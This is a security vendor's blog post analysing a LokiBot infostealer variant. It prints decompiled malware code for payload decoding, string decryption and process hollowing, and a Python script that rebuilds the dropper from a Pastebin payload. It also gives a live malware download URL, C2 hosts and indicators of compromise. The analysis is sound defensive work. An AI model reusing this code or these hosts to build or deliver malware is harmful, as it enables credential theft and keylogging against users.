enSilo Blocks LokiBot Infostealer

enSilo’s Endpoint Security Platform detected and blocked a new variant of the LokiBot malware in July, 2018. During that time, VirusTotal exhibited only twelve commercial Anti-Virus (AV) applications having a virus definition for this malware, which indicates a low detection rate:

Figure 1: Low-Detection Rate

 

Preliminary analysis of all events associated with this LokiBot variant, suggest that the victim downloaded this malware from the following URL:

hXXp://www[.]apcarreteras[.]org[.]py/wipadmin/q21.exe

This URL was still active during the time of writing this blog post and was still serving this LokiBot variant.

 

The q21.exe file is a Windows Portable Executable (PE) file. This file is the LokiBot variant and only serves as the initial part of this attack. This file is an obfuscated .NET executable written in the Microsoft C# language. On execution, this file spawns RegAsm.exe (a legitimate Windows process) and then performs process injection into that process utilizing the Process Hollowing technique. Thereafter, two additional malware variants are dropped into the affected system. This process execution is shown below:

Figure 2: Parent-Child Process Execution

 

On execution, these two dropped malware variants have the ability to steal passwords, communicate with remote domains, drop additional malware components, perform tracking of web browser activity, keylogging activity, and steal cookies. In addition, these two variants add registry keys in an effort to sustain persistency during system restarts.

This blog post provides detailed technical analysis of this LokiBot variant while including sections of the bytecode taken from the LokiBot. Each section is then broken down and explained in detail. In addition, this blog post provides detailed dynamic and static analysis of the two dropped malware variants. Finally, this blog post demonstrates how enSilo Endpoint Security Platform with post-infection protection blocks the malicious operation in real-time.

A Brief History of LokiBot

Online resources suggest that the first LokiBot malware was first seen targeting victims during 2015. Since 2015, many variants of this malware have been reported by the cybersecurity community and, there are several online resources to provide great detail about some of the LokiBot variants. With that in mind, the primary objectives of this malware stayed the same over the years. On execution, a typical variant of the LokiBot malware will attempt to steal passwords, record users keyboard keystrokes, harvest valuable information from legitimate applications and beacon the remote domains posting metadata. The rumors suggest that the source-code of LokiBot was leaked to the public sometime in the past. Therefore, attackers were able to leverage the source-code of this malware to create their own compiled version of this infostealer.

Unlike, previous versions of LokiBot, the variant mentioned in this blog post was developed in the Microsoft C# programming language. The following sections will explain this malware operation in great detail. However, in a nutshell, this variant takes an encoded object located in a resource section and then decodes it to PE file using xor’ed operation. Thereafter, this PE file is injected into another legitimate Windows process by using the Process Hollowing injection technique. This entire operation occurs in memory and there are no traces of this decoded PE file on disk. Traditional commercial AVs that rely only on pre-execution, could potentially mitigate detection, especially if they do not have virus definitions to detect this variant as a malicious file.

Technical Analysis

As mentioned, the q21.exe file is the LokiBot .NET malware developed in the Microsoft C# programming language.

The following is the static characteristics of this file:

Filename: q21.exe
File Hash: dfd5a92d57a1d9549094b5d47825adaf2e16b20d
File Size: 532480
Compile Time: 2018-07-27 00:01:21

 

The enSilo Endpoint Protection Platform detects this LokiBot malware and other variants like it, in both pre-and-post execution modes. Analysis of this file bytecode suggests that during execution, it loads an object located in resource section. Thereafter, it decodes this object into a PE file using a mathematical operation. Once successfully decoded, it then uses the Process Hollowing technique to inject the RegAsm.exe (a legitimate Windows process) with that PE file. Thereafter, two additional malware variants are dropped into the affected system. This entire loading and process injection technique are broken down into the following sections. Each section is explained in detail.

Decoding the Dropper

On execution, the LokiBot malware loads the object 认七好尔么关 from a section located in the resource of this file as shown below:

Figure 3: Resource Section Object

 

The following bytecode is responsible for this object loading process:

ResourceManager resourceManager = new ResourceManager("认七好尔么关", Assembly.GetExecutingAssembly()); byte[] byte_ = (byte[])resourceManager.GetObject("明认你叫可千");

 

Side Note: The name of this object 认七好尔么关 doesn’t have any significance and could be replaced by any variable name. In fact, there are a lot of many strings (some which are extremely long) inside this bytecode that are in the Chinese language. The only assumption here is that all of these strings are used as a decoys to confuse anyone who is interested into looking and understanding the malware bytecode.

Thereafter, that object from the resource section is passed as a byte value named byte_ into the Class5.smethod_5 function:

byte[] byte_2 = Class5.smethod_5(byte_, "ggggggggggggdfgdfh”);

 

Side Note: the string value code is just a static string value used in the process of performing mathematical operations inside the Class5.smethod_5 class.

The following bytecode belongs to that Class5.smethod_5 class:


    public static byte[] smethod_5(byte[] byte_0, string string_0)
    {
        checked
        {
            byte[] array = new byte[byte_0.Length + 1];
            int num = (int)(byte_0[byte_0.Length - 1] ^ 112);
            byte[] bytes = Encoding.Default.GetBytes(string_0);
            int arg_2B_0 = 0;
            int num2 = byte_0.Length - 1;
            for (int i = arg_2B_0; i <= num2; i++)
            {
                int num3;
                array[i] = (byte)((int)byte_0[i] ^ num ^ (int)bytes[num3]);
                if (num3 == string_0.Length - 1)
                {
                    num3 = 0;
                }
                else
                {
                    num3++;
                }
            }
            return (byte[])Utils.CopyArray((Array)array, new byte[byte_0.Length - 2 + 1]);
        }
    }

 

As mentioned, that byte_ value is passed into the class as a byte value named byte_0 and the string_0 value is passed to this class a string. In a nutshell, this class is a XOR algorithm where the xor_key is XOR’ed with an extra value (xor_key_val). This is how this byte-code broken down:


    1.	Num = xor_key_val = (last_byte in the byte_0 array) ^112
    2.	num2 = end byte_0 -1 =end of payload
    3.	string_0 = xor_key

 

Side Note: Technically, the malware developer could have XOR’ed the key once outside the loop and that would have resulted the same outcome.

The sole purpose of this function is to decode that bytecode from the resource section into a new PE file and then return that value as a new variable named byte_2. The following are the static characteristics of this PE file:

Filename: byte2.exebr
File Hash: ce10f37d614e0df3232a2dbaf8b96c1813a1e8d1
File Size: 104085
Compile Time: 2004-10-23 22:23:39

 

This PE file is the dropper of the two additional malware variants previously mentioned. This dropper is not getting executed as a new process by the malware. Instead, this dropper is loaded into RegAsm.exe process using the Process Hollowing technique.

The following Python script (created by our team) can be used convert this object section into this PE file:


    import binascii, base64

    def decode(byte_0, string_0):
        newbyte = [len(byte_0) + 1]
        num = (int(byte_0[(len(byte_0) - 1)]) ^ 112)
        bytes = [ord(x) for x in string_0]
        i = 0
        num2 = len(byte_0) - 1
        num3 = 0
        newarray = []
        for i in range(0, num2, 1):
            newbyte = int(byte_0[i] ^ num ^ bytes[num3])
            newarray.append(newbyte)
            if num3 == (len(string_0) - 1):
                num3 = 0
            else:
                num3 += 1
            i += 1

        return newarray

    if __name__ == '__main__':
        filename = 'base64_in.txt'
        with open(filename, 'rb') as f:
            encoded = f.read()
            content = base64.b64decode(encoded)

        test = binascii.hexlify(content)
        s = binascii.unhexlify(test)
        byte_0 = [ord(x) for x in s]
        string_0 = "ggggggggggggdfgdfh"
        newarray = decode(byte_0, string_0)
        newfile = open("file_out.txt", "wb")
        newfile.write(bytearray(newarray))
        newfile.close()

The input filename base64_in.txt contains an encoded base64 value of that byte_ object section. To make things easier, this base64 value can be downloaded directly from Pastebin https://pastebin.com/raw/u5DGRk86 and then saved into a file named base64_in.txt. When running that Python script with the base64_in.txt, it will produce that PE file dropper under the name file_out.txt.

Process Hollowing Operation

As mentioned, the LokiBot malware uses the Process Hollowing technique to inject the PE dropper (equal to the byte_2 value) to the RegAsm.exe process (Windows Assembly Registration tool). The file associated with this process is located in the following folder path:

C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe

 

The following bytecode contains the entire operation required for the Process Hollowing technique to work successfully:


    string string_ = "Cet6Xe47iuuUqL/f4Go16Q==";
    string string_2 = "bmY0GvtxvNav7Y1b0myYXg==";
    string string_3 = "8D7qilzN8+CSpLPqxEf66kxDdsJ3R9lyp2tAQtP2EEs=";
    string string_4 = "CGkmgzWpxZs9atUtI1mgyUcahF6FgQ6wtfTka4pJSGE=";
    string string_5 = "FfpDaj2Qbx/USBKNveGrhZHVczKEHP+3vkZr7xReaoU=";
    string string_6 = "4axrt5biN/muKPbmlwY3+w==";
    string string_7 = "Lqs9z8whpWlhgTohs/FEFA==";
    string string_8 = "TtvSnOsbT5ucO/89V4OscA==";
    string string_9 = "K93oCu6gaxOwgopMMWs1ZicGYHIKRADt4j3TbNWeyp8=";
    string string_10 = "lqBGV/jkLhpfgF1ymGkEYKe913eXXk/TxV8+ERpGqG0=";
    
    Class6.Delegate4 @delegate = Class6.smethod_1 <Class6.Delegate4>(Class6.smethod_2(string_), Class6.smethod_2(string_4));
    
    Class6.Delegate2 delegate2 = Class6.smethod_1<Class6.Delegate2>(Class6.smethod_2(string_), Class6.smethod_2(string_2));
    
    Class6.Delegate3 delegate3 = Class6.smethod_1<Class6.Delegate3>(Class6.smethod_2(string_), Class6.smethod_2(string_5));
    
    Class6.Delegate1 delegate4 = Class6.smethod_1<Class6.Delegate1>(Class6.smethod_2(string_), Class6.smethod_2(string_3));
     
    Class6.Struct8 struct8 = default(Class6.Struct8);
     
    Class6.Delegate6 delegate5 = Class6.smethod_1<Class6.Delegate6>(Class6.smethod_2(string_8), Class6.smethod_2(string_9));
     
    Class6.Delegate5 delegate6 = Class6.smethod_1<Class6.Delegate5>(Class6.smethod_2(string_), Class6.smethod_2(string_6));
    
    Class6.Delegate0 delegate7 = Class6.smethod_1<Class6.Delegate0>(Class6.smethod_2(string_), Class6.smethod_2(string_10));
    
    Class6.Delegate7 delegate8 = Class6.smethod_1<Class6.Delegate7>(Class6.smethod_2(string_), Class6.smethod_2(string_7));
    
    // Token: 0x06000023 RID: 35 RVA: 0x00003684 File Offset: 0x00001884
    private static string smethod_2(string string_0)
    {
       string password = "fdssssssssssssssss";
       string s = "fdssssssssssssssss";
       string s2 = "@1B2c3D4sfg5F6g7H8";
       byte[] bytes = Encoding.ASCII.GetBytes(s2);
       byte[] bytes2 = Encoding.ASCII.GetBytes(s);
       byte[] array = Convert.FromBase64String(string_0);
       Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, bytes2, 2);
       byte[] bytes3 = rfc2898DeriveBytes.GetBytes(32);
       ICryptoTransform transform = new RijndaelManaged
       {
         Mode = CipherMode.CBC
       }.CreateDecryptor(bytes3, bytes);
       MemoryStream memoryStream = new MemoryStream(array);
       CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
       byte[] array2 = new byte[checked(array.Length - 1 + 1)];
       int count = cryptoStream.Read(array2, 0, array2.Length);
       memoryStream.Close();
       cryptoStream.Close();
          return Encoding.UTF8.GetString(array2, 0, count);
    }
    
    
    // Token: 0x06000022 RID: 34 RVA: 0x000023B8 File Offset: 0x000005B8
    private static T smethod_1<T>(string string_0, string string_1)
    {
                return 
                (T)((object)Marshal.GetDelegateForFunctionPointer(Class6.GetProcAddress(Class6.LoadLibraryA(ref string_0), ref string_1), typeof(T)));
    }

The string through string_10 values are base64 encoded strings:


    string string_2 = "bmY0GvtxvNav7Y1b0myYXg==";
    string string_3 = "8D7qilzN8+CSpLPqxEf66kxDdsJ3R9lyp2tAQtP2EEs=";
    string string_4 = "CGkmgzWpxZs9atUtI1mgyUcahF6FgQ6wtfTka4pJSGE=";
    string string_5 = "FfpDaj2Qbx/USBKNveGrhZHVczKEHP+3vkZr7xReaoU=";
    string string_6 = "4axrt5biN/muKPbmlwY3+w==";
    string string_7 = "Lqs9z8whpWlhgTohs/FEFA==";
    string string_8 = "TtvSnOsbT5ucO/89V4OscA==";
    string string_9 = "K93oCu6gaxOwgopMMWs1ZicGYHIKRADt4j3TbNWeyp8=";
    string string_10 = "lqBGV/jkLhpfgF1ymGkEYKe913eXXk/TxV8+ERpGqG0=";

 

Each string is either associated with a specific Windows API call or with a Windows Dynamic-Link Library (DLL) file. These strings are passed to the smethod_2 function for deciphering purposes. The bytecode suggests that a CBC mode cypher is used in this deciphering process including a hardcoded password stored as strings inside that class. Once the strings are deciphered, they are passed as a pair into the smethod_1 function. The following figures and tables represent the Windows API calls and DLL files string values of each base64 string after they are deciphered:

Cet6Xe47iuuUqL/f4Go16Q==

kernel32

CGkmgzWpxZs9atUtI1mgyUcahF6FgQ6wtfTka4pJSGE= 

ReadProcessMemory

 

Figure 4: Windows API & DLL strings

 

Cet6Xe47iuuUqL/f4Go16Q==

kernel32

bmY0GvtxvNav7Y1b0myYXg==

CreateProcessA

 

Figure 5: Windows API & DLL strings

 

Cet6Xe47iuuUqL/f4Go16Q==

kernel32

FfpDaj2Qbx/USBKNveGrhZHVczKEHP+3vkZr7xReaoU=

WriteProcessMemory

 

Figure 6: Windows API & DLL strings

 

Cet6Xe47iuuUqL/f4Go16Q==

kernel32

8D7qilzN8+CSpLPqxEf66kxDdsJ3R9lyp2tAQtP2EEs=

GetThreadContext

 

Figure 7: Windows API & DLL strings

 

TtvSnOsbT5ucO/89V4OscA==

ntdll

K93oCu6gaxOwgopMMWs1ZicGYHIKRADt4j3TbNWeyp8=

ZwUnmapViewOfSection

 

Figure 8: Windows API & DLL strings

 

Cet6Xe47iuuUqL/f4Go16Q==

kernel32

axrt5biN/muKPbmlwY3+w==

VirtualAllocEx

 

Figure 9: Windows API & DLL strings

 

Cet6Xe47iuuUqL/f4Go16Q==

kernel32

lqBGV/jkLhpfgF1ymGkEYKe913eXXk/TxV8+ERpGqG0=

SetThreadContext

 

Figure 10: Windows API & DLL strings

 

Cet6Xe47iuuUqL/f4Go16Q==

kernel32

Lqs9z8whpWlhgTohs/FEFA==

ResumeThread

 

Figure 11: Windows API & DLL strings

 

The smethod_1 class also use the GetProcAddress and LoadLibrary API calls to load each deciphered strings pair in memory:


    // Token: 0x06000022 RID: 34 RVA: 0x000023B8 File Offset: 0x000005B8
    private static T smethod_1<T>(string string_0, string string_1)
    {
    return (T)((object)Marshal.GetDelegateForFunctionPointer(Class6.GetProcAddress(Class6.LoadLibraryA(ref string_0), ref string_1), typeof(T)));
    }
    
    // Token: 0x06000020 RID: 32
    [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, 
    private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string string_0);
    
    // Token: 0x06000021 RID: 33
     [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
    private static extern IntPtr GetProcAddress(IntPtr intptr_0, [MarshalAs(UnmanagedType.VBByRefStr)] ref string string_0);  

 

The following Windows API calls suggest a Process Hollowing attack and are typically used in combination to inject a payload into another process:

  • ReadProcessMemory
  • CreateProcessA
  • WriteProcessMemory
  • GetThreadContext
  • ZwUnmapViewOfSection
  • VirtualAllocEx
  • SetThreadContext
  • ResumeThread

 

When the deciphering process is completed, the next step loads the RegAsm.exe process.

Figure 12: Start RegAsm.exe

The string_0 value in the figure above is equal to the C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe value. And to load it as process, the invoke method is called as show below:


    private delegate bool Invoke(string null, string "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe”, ref Class6.Struct0 struct4, ref Class6.Struct0 struct5, bool false, uint 4u, IntPtr 可认尔东过会件方二大二朋贵关蠢过八个海大没尔是愚很你杀贝好李百姐您方没起的地会爸李哥姐人蠢么尔吧百可去家可是六零家没毒是老九南起叫爸可六家你很去东软妈弟杀的见哥海贝弟软东哪七维贵七美哪明那去一一好零李名岛家对日北日名维个么, string null, [In] ref Class6.Struct3 struct3, out Class6.Struct2 struct2);

 

Once RegAsm.exe is running as a process, the PE file dropper (equal to the byte_2 value) is then injected into the RegAsm.exe process:

Figure 13: Process Injection

Thereafter, the build.exe and the StartHost.exe binary files are written and executed on the system:

Figure 14: Dropped Files

The following static characteristics are associated with each one of these files:


    Filename:      build.exe
    File Hash:     62cf80c74b6e387df635c11b2c5dde9937a9147e
    File Size:     106496
    Compile Time:  2016-06-23 16:04:21

    Filename:      starthost.exe or host.exe
    File Hash:     f7e3261bbed54410a660fe5a6b90b80d4a16e0ed
    File Size:     135168
    Compile Time:  2018-04-02 15:22:46

 

Analysis of Keylogger - StartHost.exe

The PE file StartHost.exe is a keylogger file dropped by the LokiBot malware. On execution, it drops the same replica of itself in the victim AppData\Roaming\Install folder. The new replica filename is named host.exe:

Figure 15: Replica of Starthost.exe

 

Once the PE file Host.exe is dropped into this folder, stathost.exe spawns host.exe as a new process. Thereafter, this new host.exe process creates the following registry keys:

Figure 16: Registry Keys

 

The registry key in the CurrentVersion\Run registry path is created in an effort to maintain persistency:

Figure 17: Avast Registry Persistency

 

In addition, the key name is purposely called Avast in an effort to mask its identity. This persistency creation mechanism in the registry can be found under the sub_416AE2 sub-routine:

Figure 18: Registry Creation Function

 

Once the PE file host.exe is fully executed, it sleeps for approximately two minutes before performing any additional operation:

Figure 19: Sleep Operation

 

Thereafter, it starts recording user keyboard activity and dumps the output in the victim AppData\Roaming\Logs folder:

Figure 20: Keylogging files

 

Each filename is named using the current date of keylogging operation. This keylogger also attempts to communicate with the domain iheuche009[.]hopto.org.

 

Analysis of Infostealer - Build.exe

The PE file build.exe is an Information Stealer (infostealer) file dropped by the LokiBot malware. On execution, it drops the same replica of itself in the AppData\Roaming\62E4EB folder under a new filename is named B45DAC.exe:

Figure 21: Replica of Build.exe

 

In addition, it creates the following registry value under the HKEY_Current_User (HKCU) registry hive:

Figure 22: Adding Registry Values

 

This registry value isn’t readable via traditional registry editing tools. In addition, it also drops an RSA key in the victim AppData\Roaming\Microsoft\Crypto\RSA <GUID >\ folder:

Figure 23: RSA Key File

 

As shown below, the infostealer also attempts to communicate with the domain lovaniacreative[.]com and post information about the victim operating system:

Figure 24: POST request

 

One of the primary operations of infostealer is to query the registry and enumerate for installed applications on the victim system:

Figure 25: Enumerating Application in Registry

 

The following figure includes all the sub-routines used by this infostealer to gather information about application on the victim system:

Figure 26: Enumerating Applications

 

Each sub-routine contains the registry information about a specific application and the location of the files associated with this application on the system. For example, the following figure includes the one for Mozilla Firefox:

Figure 27: Mozilla Firefox Information

 

Additional Variant in the Wild

During August 2018, enSilo detected another variant of the LokiBot in the wild. This variant was also developed in Microsoft C# programming language and was compiled to a PE file. The following is the static characteristics of this file:


    Filename:      br.exe
    File Hash:     7c9e1d45e6c46f6431e8c63a00a4922362d6bedc
    File Size:     327168
    Compile Time:  2018-08-06 06:30:09

 

However, the bytecode of this executable suggest that it uses a different method to run additional malware variants on the system to accomplish the same outcome. For example, it loads another Microsoft C# PE file in memory. The following is the static characteristics of this file:


    Filename:      rawAssembly.exe
    File Hash:     2abe92f169887446e0008c78e33a12ce79471bb2
    File Size:     6144
    Compile Time:  2018-08-01 22:09:28

 

During that time, VirusTotal exhibited only two commercial AV applications having a virus definition for this malware:

Figure 28: Low-Detection Rate

 

Preliminary analysis of this LokiBot variant suggests once and information is stolen from the victim system, it then attempts to post it to the remote IP address 159.89.118.162 as shown below:

Figure 29: POST request

 

enSilo Endpoint Security Platform

The following figures illustrates how the enSilo Endpoint Security Platform is capable of tracking the entire threat chain of this malware at any of the attack stages:

Figure 30: enSilo detecting and blocking the attack

 

In addition, the following figure illustrates how the enSilo Endpoint Security Platform visualizes the entire attack chain from detection to prevention:

Figure 31: enSilo detecting and blocking the attack

 

This diagram shows how enSilo automatically classifies the attack as malicious using a Machine Learning algorithm. As a result, enSilo prevents any damage done following the execution of this malware. And, this entire detection-to-prevention process is done in real-time. Finally, enSilo is also capable of detecting this malware pre-execution.

 

Final Notes

This blog post demystified the LokiBot malware activity once it executed on a victim system. This activity was explained all the way from the initial malware execution through the execution of the keylogger and the information stealer malware variants. The entire attack operation was explained in detail from both dynamic and static analysis perspective. That said, the most important part in this blog post demonstrates how enSilo post-infection protection is capable of detecting, blocking and preventing from attacks in this nature from executing successfully on victims’ system.

 

Indicators of Compromise:


    Filename:      q21.exe
    File Hash:     dfd5a92d57a1d9549094b5d47825adaf2e16b20d
    File Size:     532480
    Compile Time:  2018-07-27 00:01:21

    Filename:      byte2.exe
    File Hash:     ce10f37d614e0df3232a2dbaf8b96c1813a1e8d1
    File Size:     104085
    Compile Time:  2004-10-23 22:23:39

    Filename:      build.exe
    File Hash:     62cf80c74b6e387df635c11b2c5dde9937a9147e
    File Size:     106496
    Compile Time:  2016-06-23 16:04:21

    Filename:      starthost.exe or host.exe
    File Hash:     f7e3261bbed54410a660fe5a6b90b80d4a16e0ed
    File Size:     135168
    Compile Time:  2018-04-02 15:22:46

    Filename:      br.exe
    File Hash:     7c9e1d45e6c46f6431e8c63a00a4922362d6bedc
    File Size:     327168
    Compile Time:  2018-08-06 06:30:09

    Filename:      rawAssembly.exe
    File Hash:     2abe92f169887446e0008c78e33a12ce79471bb2
    File Size:     6144
    Compile Time:  2018-08-01 22:09:28

 

 

Network Indicators


    apcarreteras[.]org[.]py
    lovaniacreative[.]com
    iheuche009[.]hopto[.]org
    159.89.118.162
Related Blog Posts

Customers Say It Best - Managed Security Service Provider one

cybersecurity , enSilo Corporate and Product

 

Retailers, restaurants, hoteliers, and small businesses are having problems discovering breaches on their POS systems. Delayed detection of a.

Read More

5 Ways to Tackle Ransomware Attacks One

cybersecurity , enSilo Corporate and Product

“Nearly 98% of all recorded point of sale (POS) attacks resulting in a confirmed data breach”. Verizon Data Breach Investigations

PROBLEM:

.

Read More

enSilo Blocks New Variant of Adwind RAT one

cybersecurity , enSilo Corporate and Product

“Nearly 98% of all recorded point of sale (POS) attacks resulting in a confirmed data breach”. Verizon Data Breach Investigations

PROBLEM:

.

Read More

enSilo RECOMMENDED in NSS Labs 2018 Advanced Endpoint Protection (AEP) Group Test

cybersecurity , enSilo Corporate and Product

“Nearly 98% of all recorded point of sale (POS) attacks resulting in a confirmed data breach”. Verizon Data Breach Investigations

PROBLEM:

.

Read More